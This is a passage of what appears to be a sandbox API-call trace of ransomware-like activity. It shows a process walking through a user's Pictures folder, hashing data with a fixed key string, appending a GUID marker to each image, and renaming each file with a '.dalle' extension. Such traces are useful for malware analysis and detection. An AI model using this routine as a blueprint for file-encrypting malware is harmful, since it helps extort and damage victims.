lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x135fc, lpOverlapped=0x0) returned 1 [0120.738] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.738] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.738] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.738] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.739] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.739] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.739] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.739] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.739] GetLastError () returned 0x0 [0120.739] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.739] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.740] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x135fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.740] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.740] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.740] CloseHandle (hObject=0x618) returned 1 [0120.741] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GZFXJ5sPjVz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gzfxj5spjvz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GZFXJ5sPjVz.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gzfxj5spjvz.png.dalle")) returned 1 [0120.742] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bce620, ftCreationTime.dwHighDateTime=0x1d4c850, ftLastAccessTime.dwLowDateTime=0xf79e7da0, ftLastAccessTime.dwHighDateTime=0x1d4d04f, ftLastWriteTime.dwLowDateTime=0xf79e7da0, ftLastWriteTime.dwHighDateTime=0x1d4d04f, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="heN4k.jpg", cAlternateFileName="")) returned 1 [0120.742] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\heN4k.jpg") returned=".jpg" [0120.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\heN4k.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hen4k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.742] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=7106) returned 1 [0120.742] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.743] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1b9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.743] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.747] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1bc2, lpOverlapped=0x0) returned 1 [0120.748] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.748] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.748] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.748] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.748] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.748] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.749] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.749] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.749] GetLastError () returned 0x0 [0120.749] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.749] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.749] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1bc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.749] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.749] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.749] CloseHandle (hObject=0x618) returned 1 [0120.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\heN4k.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hen4k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\heN4k.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hen4k.jpg.dalle")) returned 1 [0120.751] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f110a0, ftCreationTime.dwHighDateTime=0x1d4c61e, ftLastAccessTime.dwLowDateTime=0xb8811090, ftLastAccessTime.dwHighDateTime=0x1d4c980, ftLastWriteTime.dwLowDateTime=0xb8811090, ftLastWriteTime.dwHighDateTime=0x1d4c980, nFileSizeHigh=0x0, nFileSizeLow=0x13c06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hFp26ULLEeCgRocq.jpg", cAlternateFileName="HFP26U~1.JPG")) returned 1 [0120.751] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hFp26ULLEeCgRocq.jpg") returned=".jpg" [0120.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hFp26ULLEeCgRocq.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hfp26ulleecgrocq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.752] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=80902) returned 1 [0120.752] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.753] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13be0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.753] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.754] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x13c06, lpOverlapped=0x0) returned 1 [0120.755] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.755] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.755] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.755] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.756] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.756] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.756] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.756] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.756] GetLastError () returned 0x0 [0120.756] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.756] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.757] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13c06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.757] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.757] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.757] CloseHandle (hObject=0x618) returned 1 [0120.758] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hFp26ULLEeCgRocq.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hfp26ulleecgrocq.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hFp26ULLEeCgRocq.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hfp26ulleecgrocq.jpg.dalle")) returned 1 [0120.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4513f70, ftCreationTime.dwHighDateTime=0x1d4d365, ftLastAccessTime.dwLowDateTime=0x734aed60, ftLastAccessTime.dwHighDateTime=0x1d4cb66, ftLastWriteTime.dwLowDateTime=0x734aed60, ftLastWriteTime.dwHighDateTime=0x1d4cb66, nFileSizeHigh=0x0, nFileSizeLow=0x11a01, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hOVtKO.png", cAlternateFileName="")) returned 1 [0120.759] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hOVtKO.png") returned=".png" [0120.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hOVtKO.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hovtko.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.760] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=72193) returned 1 [0120.760] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.761] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x119db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.761] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.762] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x11a01, lpOverlapped=0x0) returned 1 [0120.763] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.763] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.763] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.763] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.764] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.764] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.764] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.764] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.764] GetLastError () returned 0x0 [0120.764] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.764] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.765] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11a01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.765] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.765] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.765] CloseHandle (hObject=0x618) returned 1 [0120.766] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hOVtKO.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hovtko.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hOVtKO.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hovtko.png.dalle")) returned 1 [0120.767] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb23f4b0, ftCreationTime.dwHighDateTime=0x1d4d045, ftLastAccessTime.dwLowDateTime=0x69294bd0, ftLastAccessTime.dwHighDateTime=0x1d4d460, ftLastWriteTime.dwLowDateTime=0x69294bd0, ftLastWriteTime.dwHighDateTime=0x1d4d460, nFileSizeHigh=0x0, nFileSizeLow=0xd163, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hs-cQ G F8kD3.jpg", cAlternateFileName="HS-CQG~1.JPG")) returned 1 [0120.767] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hs-cQ G F8kD3.jpg") returned=".jpg" [0120.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hs-cQ G F8kD3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hs-cq g f8kd3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.767] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=53603) returned 1 [0120.767] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.768] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd13d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.768] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.770] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd163, lpOverlapped=0x0) returned 1 [0120.771] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.771] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.771] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.771] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.771] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.771] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.772] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.772] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.772] GetLastError () returned 0x0 [0120.772] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.772] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.772] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd163, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.772] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.772] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.772] CloseHandle (hObject=0x618) returned 1 [0120.773] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hs-cQ G F8kD3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hs-cq g f8kd3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hs-cQ G F8kD3.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hs-cq g f8kd3.jpg.dalle")) returned 1 [0120.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91d106f0, ftCreationTime.dwHighDateTime=0x1d4cb59, ftLastAccessTime.dwLowDateTime=0x327f3110, ftLastAccessTime.dwHighDateTime=0x1d4d0ed, ftLastWriteTime.dwLowDateTime=0x327f3110, ftLastWriteTime.dwHighDateTime=0x1d4d0ed, nFileSizeHigh=0x0, nFileSizeLow=0xa00e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j6nzOT.png", cAlternateFileName="")) returned 1 [0120.775] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\j6nzOT.png") returned=".png" [0120.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\j6nzOT.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\j6nzot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.775] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=40974) returned 1 [0120.775] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.776] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9fe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.776] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.778] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xa00e, lpOverlapped=0x0) returned 1 [0120.779] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.779] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.779] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.779] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.779] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.780] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.780] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.780] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.780] GetLastError () returned 0x0 [0120.780] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.780] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.780] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa00e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.780] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.780] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.780] CloseHandle (hObject=0x618) returned 1 [0120.781] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\j6nzOT.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\j6nzot.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\j6nzOT.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\j6nzot.png.dalle")) returned 1 [0120.782] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416fd290, ftCreationTime.dwHighDateTime=0x1d4d3f6, ftLastAccessTime.dwLowDateTime=0xf6e112d0, ftLastAccessTime.dwHighDateTime=0x1d4c553, ftLastWriteTime.dwLowDateTime=0xf6e112d0, ftLastWriteTime.dwHighDateTime=0x1d4c553, nFileSizeHigh=0x0, nFileSizeLow=0xbc33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jppO8iseUv.bmp", cAlternateFileName="JPPO8I~1.BMP")) returned 1 [0120.782] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jppO8iseUv.bmp") returned=".bmp" [0120.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jppO8iseUv.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jppo8iseuv.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.783] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=48179) returned 1 [0120.783] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.784] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbc0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.784] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.785] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xbc33, lpOverlapped=0x0) returned 1 [0120.786] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.786] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.786] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.786] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.787] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.787] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.787] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.787] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.787] GetLastError () returned 0x0 [0120.787] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.787] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.787] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbc33, 